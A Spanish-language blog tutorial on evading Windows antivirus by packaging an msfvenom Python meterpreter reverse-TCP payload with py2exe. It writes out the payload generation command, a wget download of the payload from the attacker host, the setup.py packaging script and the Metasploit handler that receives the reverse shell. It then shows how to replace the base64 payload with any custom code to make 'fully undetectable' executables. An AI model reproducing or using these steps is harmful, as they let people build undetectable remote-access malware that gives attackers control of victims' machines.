Payload Evadir Antivirus con Python
Payload Evadir Antivirus con Python

Payload: Evadir Antivirus con Python

En este artículo presentaré un tutorial, de Marcelo Sacchetin, sobre cómo evadir los antivirus en entornos Windows completamente parcheados y actualizados utilizando una carga útil o payload de Python.

Ten en cuenta que intentar la omisión de antivirus es un juego de gato y ratón. Cada vez que una nueva técnica de evasión se vuelve popular, los proveedores de antivirus eventualmente aprenderán sobre ella y actualizarán su base de datos de firmas para bloquearla. Luego, surgirán nuevas técnicas de evasión, que harán que los proveedores lo agreguen a su base de datos de firmas, y así sucesivamente.

1. Payload con Python

Los antivirus basados ​​en firmas funcionan comparando los binarios de los archivos con una base de datos de firmas (así funcionan los antivirus). El siguiente objetivo es “disfrazar” la payload de manera que no coincida con ninguna firma conocida en ninguna base de datos de proveedores de antivirus.

Este malware funcionará como un mero cliente que intenta iniciar una conexión TCP en el puerto 443. A los antivirus basados ​​en el comportamiento les resulta más difícil marcar acciones como esta sin emitir muchos falsos positivos para aplicaciones legítimas como los navegadores web.

Para este ejemplo, utilizaremos una Payload de Python generada por MSFVenom para abrir un shell TCP inverso (sesión de meterpreter) en el puerto 443 a la máquina atacante que ejecuta Metasploit. Una acción como esa es obviamente malicioso y siempre debe ser marcado por cualquier agente antivirus.

Requisitos

  • Kali Linux u otra distro para crear la payload y ejecutar Metasploit;
  • Metasploitable 3 para empaquetar la payload;
  • Windows 10 completamente parcheado para ejecutar;


2. Crear payload meterpreter payload FUD con Python

Cuando hablamos de FUD (Fully Undetectable) hablamos de que sea indetectable. Para crear este artefacto, vamos a realizar los siguientes pasos:

  • Instala Python 2.7.16 x86 para Windows.

Instalar Python 2.7.16 en Windows
Instalar Python 2.7.16 en Windows

Cambie a tu PC atacante (en mi caso Parrot OS) y crea la payload de Python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.54 LPORT=443 -f raw -o /var/www/html/mrtp.py
service apache2 start
msfvenom y payload con Python
msfvenom y payload con Python

Copia la payload “mrtp.py” nuevamente a la máquina Windows. Usando powershell, ejecuta:

w g e t http://192.168.1.54/mrtp.py -O mrtp.py

Además, cree un archivo setup.py con el siguiente contenido:

from distutils.core import setup
import py2exe
setup(
name = 'Mete'’,
description = 'Python-based App',
version = '1.0',
console=['mrtp.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
Personalizar archivo setup py
Personalizar archivo setup py

Empaqueta el ejecutable de Python independiente con Py2Exe:

python.exe .\setup.py py2exe
Empaquetar archivo con Py2Exe
Empaquetar archivo con Py2Exe

Prueba el artefactomrtp.exe” creado en la carpeta dist:

Ejecutarlo:

.\dist\mrtp.exe
Ejecutar mrtp en Windows
Ejecutar mrtp en Windows

Regresa a tu Kali Linux o Parrot OS y ejecuta el Metasploit:


msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.1.54
set LPORT 443
run
msfconsole para atacar Windows
msfconsole para atacar Windows
Hacking Windows con Payload Python
Hacking Windows con Payload Python

Ahora que hemos confirmado que el artefacto funciona, comparémoslo con todos los motores antivirus disponibles en VirusTotal. Visita www.virtutotal.com y proporciona tu archivo “mrtp.exe” para escanear.

Si todo va bien, deberías obtener un informe similar al siguiente.

Análisis de VirusTotal en 2019
Análisis de VirusTotal en 2019
Análisis de VirusTotal en 2020
Análisis de VirusTotal en 2020

3. Personalizar tu propia payload de Python

Puede aprovechar esta técnica y utilizar tu propia payload personalizada de Python. Todo lo que necesitas hacer es repetir los pasos de la sesión anterior, editando el archivo “mrtp.py” después de generarlo con msfvenom. Tendrá que reemplazar la cadena base64 codificada original con tu propio código Python.

Solo como ejemplo, creemos un script Python “custom_payload.py” que solo imprima dos mensajes y la uses como una nueva payload.

print ("Payload Personalizado")
print ("Esto funciona!")

Después de crearlo, necesitaremos codificarlo con codificación base64:

cat custom_payload.py | base64

Para el script de muestra que utilizamos, nos dará la siguiente cadena codificada en base64: “cHJpbn…..IpCg ==”

Ahora, editamos el script existente “mrtp.py” que utilizamos en la sesión anterior, y reemplazamos la cadena base64 original que comienza con “aW1wb3J0IHNvY2t” con la nueva.

Entonces, realizamos los mismo pasos. Copia el nuevo “mrtp.py” nuevamente a tu máquina Windows y repite los pasos:

w g e t http://192.168.1.54/mrtp.py -O mrtp.py
python.exe .\setup.py py2exe
.\dist\mrtp.exe

Después de ejecutar el nuevo artefacto de Python incluido en “mrtp.exe“, se imprimen en el terminal las cadenas “Payload Personalizado” “Esto Funciona“.

En este punto, deberías poder crear cualquier artefacto de Python FUD que desees simplemente editando el archivo “custom_payload.py” y empaquetándolo con Py2Exe. (Ver artículo original, aquí)

Si te gusta el contenido y deseas apoyar a la mejora del sitio web, considera hacer una contribución ¡haciendo clic aquí por favor!. ¡NO ES OBLIGATORIO, GRACIAS! :’)

¿Te ha gustado este artículo? Sigue este blog en su fanpage de  FacebookTwitterInstagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!

My Cart Close (×)

Tu carrito está vacío
Ver tienda